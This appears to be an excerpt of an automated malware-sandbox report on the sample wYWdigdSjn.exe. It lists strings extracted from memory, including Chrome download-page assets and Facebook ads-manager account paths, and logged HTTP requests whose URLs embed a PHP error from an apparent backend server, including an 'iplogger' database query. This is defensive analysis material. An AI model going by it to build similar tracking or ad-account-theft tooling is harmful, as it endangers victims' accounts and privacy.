Source: wYWdigdSjn.exe, 00000001.00000003.293920141.0000000004800000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.269000703.00000000046F0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.386772385.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.339211469.0000000004721000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.338590249.0000000004781000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266211329.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352033920.0000000006400000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.354482603.0000000006380000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.295485681.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.354398034.00000000063A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359400051.0000000006481000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426853167.00000000064B0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.332496945.0000000004720000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360466207.00000000064A0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.426520500.0000000006478000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360182966.0000000006480000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.283530197.00000000046E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288477647.0000000004560000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.420859834.0000000005658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.333327828.0000000004740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.facetings/account_biisEnterpriseBusibook.com/ads/manis_prepay_accounager/account_setk
Source: wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.facetings/account_biisEnterpriseBusibook.com/ads/manis_prepay_accounager/account_setkern
Source: wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=GTM-N7S69J3&cid=485847574.1601477586
Source: wYWdigdSjn.exe, 00000001.00000003.300911627.0000000005518000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266464556.0000000004498000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.296051579.0000000005517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: wYWdigdSjn.exe, 00000001.00000003.294308206.0000000005631000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266796400.0000000004490000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262381480.0000000004451000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.375901688.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262504940.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/
Source: wYWdigdSjn.exe, 00000001.00000003.278422028.00000000045AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/application/x-msdownloadC:
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/css/main.v2.min.css
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/css/main.v3.min.css
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/app-store-download.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/chrome-logo.svg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_safari-behavior.jpg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_throbber_fast.gif
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/cursor-replay.cur
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/big_pixel_phone.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_phone.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_tablet.png
Source: wYWdigdSjn.exe, 00000001.00000003.424503916.0000000006068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-chrome-logo.jpg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-logo-one-color.jpg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-description-white-blue-bg.jpg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-fb.jpg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-file-download.jpg
Source: wYWdigdSjn.exe, 00000001.00000003.379080778.0000000004748000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-help.jpg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-twitter.jpg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-youtube.jpg
Source: wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.294308206.0000000005631000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262381480.0000000004451000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262504940.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/folder-applications.svg
Source: wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/google-play-download.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-beta.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-canary.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-dev.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-enterprise.png
Source: wYWdigdSjn.exe, 00000001.00000003.379080778.0000000004748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-bottom-left.png
Source: wYWdigdSjn.exe, 00000001.00000003.424503916.0000000006068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-middle.png
Source: wYWdigdSjn.exe, 00000001.00000003.379080778.0000000004748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-top-right.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_features.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_privacy.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_tools.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/laptop_desktop.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/icon-announcement.svg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/icon-file-download.svg
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/mac-ico.png
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/thank-you/thankyou-animation.json
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/js/installer.min.js
Source: wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/static/js/main.v2.min.js
Source: wYWdigdSjn.exe, 00000001.00000003.266796400.0000000004490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/th
Source: wYWdigdSjn.exe, 00000001.00000003.294308206.0000000005631000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262381480.0000000004451000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.375901688.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262504940.0000000004458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleadservices.com/pagead/conversion.js
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleadservices.com/pagead/conversion_async.js
Source: wYWdigdSjn.exe, 00000001.00000003.349249350.0000000006128000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266391885.00000000044D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleadservices.com/pagead/p3p.xml
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-26908291-4
Source: wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=GTM-PZ6TRJB
Source: wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/external_hosted/autotrack/autotrack.js
Source: wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/external_hosted/lottie/lottie.js
Source: wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/external_hosted/modernizr/modernizr.js
Source: wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/ScrollMagic.min.js
Source: wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/animation.gsap.min.js

Source: unknown

DNS traffic detected: queries for: www.facebook.com

Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
